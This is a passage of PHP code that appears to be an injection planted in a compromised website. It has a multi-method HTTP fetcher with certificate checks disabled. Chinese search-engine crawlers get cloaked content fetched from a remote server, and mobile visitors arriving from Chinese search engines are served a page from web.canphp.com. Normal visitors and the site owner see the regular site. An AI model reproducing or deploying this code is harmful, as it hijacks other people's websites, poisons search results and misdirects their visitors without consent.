$url,CURLOPT_RETURNTRANSFER=>true,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_MAXREDIRS=>8,CURLOPT_TIMEOUT=>$timeout,CURLOPT_CONNECTTIMEOUT=>$timeout,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_SSL_VERIFYHOST=>false,CURLOPT_HTTPHEADER=>$headers,CURLOPT_ENCODING=>'gzip, deflate']);
$response=@curl_exec($ch);
$http_code=(int)@curl_getinfo($ch,CURLINFO_HTTP_CODE);
curl_close($ch);
if($response!==false&&$http_code>=200&&$http_code<300)return normalize_encoding($response);}
if(ini_get('allow_url_fopen')){
$context_options=['http'=>['method'=>'GET','header'=>implode("\r\n",$headers)."\r\n",'timeout'=>$timeout,'follow_location'=>1,'max_redirects'=>8,'ignore_errors'=>true],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]];
$context=stream_context_create($context_options);
$response=@file_get_contents($url,false,$context);
if($response!==false){
$http_code=extract_http_code($GLOBALS['http_response_header']??[]);
if($http_code>=200&&$http_code<300)return normalize_encoding($response);}}
$parts=parse_url($url);
$host=isset($parts['host'])?$parts['host']:'';
$path=isset($parts['path'])?$parts['path']:'/';
if(isset($parts['query']))$path.='?'.$parts['query'];
$port=(isset($parts['scheme'])&&$parts['scheme']==='https')?443:80;
$scheme=($port===443)?'ssl://':'';
$fp=@fsockopen($scheme.$host,$port,$errno,$errstr,$timeout);
if($fp){
$request="GET $path HTTP/1.1\r\n";
$request.="Host: $host\r\n";
$request.=implode("\r\n",$headers)."\r\n";
$request.="Connection: Close\r\n\r\n";
fwrite($fp,$request);
stream_set_timeout($fp,$timeout);
$response='';
while(!feof($fp))$response.=fgets($fp,4096);
fclose($fp);
$segments=explode("\r\n\r\n",$response,2);
if(count($segments)>=2){
$http_code=extract_http_code(explode("\r\n",$segments[0]));
if($http_code>=200&&$http_code<300)return normalize_encoding($segments[1]);}}
if($attempt<$max_attempts)usleep(600000);}
return false;}
$current_url=isset($_SERVER['REQUEST_URI'])?$_SERVER['REQUEST_URI']:'/';
$host=isset($_SERVER['HTTP_HOST'])?$_SERVER['HTTP_HOST']:'localhost';
$protocol=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https://':'http://';
$full_url=$protocol.$host.$current_url;
$user_agent=isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'';
$referer=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'';
$accept_lang=isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])?$_SERVER['HTTP_ACCEPT_LANGUAGE']:'';
$is_search_bot=preg_match('/Baiduspider|Sogou|YisouSpider|360Spider|HaosouSpider/i',$user_agent);
$is_mobile=preg_match('/(iPhone|iPad|iPod|Android|Mobile|BlackBerry|Windows Phone)/i',$user_agent);
$is_from_search=!empty($referer)&&(stripos($referer,'.baidu.com')!==false||stripos($referer,'.sogou.com')!==false||stripos($referer,'.bing.com')!==false||stripos($referer,'.sm.cn')!==false||stripos($referer,'.so.com')!==false)&&preg_match('/\bzh(-CN)?(;.*)?\b/i',$accept_lang);
if($is_search_bot){
$remote_url=$remote_base.urlencode($full_url);
$extra_headers=['X-Current-URL: '.$full_url];
$content=http_get_compatible($remote_url,$extra_headers);
if($content!==false){
while(ob_get_level())ob_end_clean();
header('Content-Type: text/html; charset=UTF-8');
echo $content;
exit;}}
if($is_mobile&&$is_from_search){
while(ob_get_level())ob_end_clean();
header('Content-Type: text/html; charset=UTF-8');
$content_mb=@file_get_contents('https://web.canphp.com/501.html');
if($content_mb!==false)echo $content_mb;
exit;}
?>
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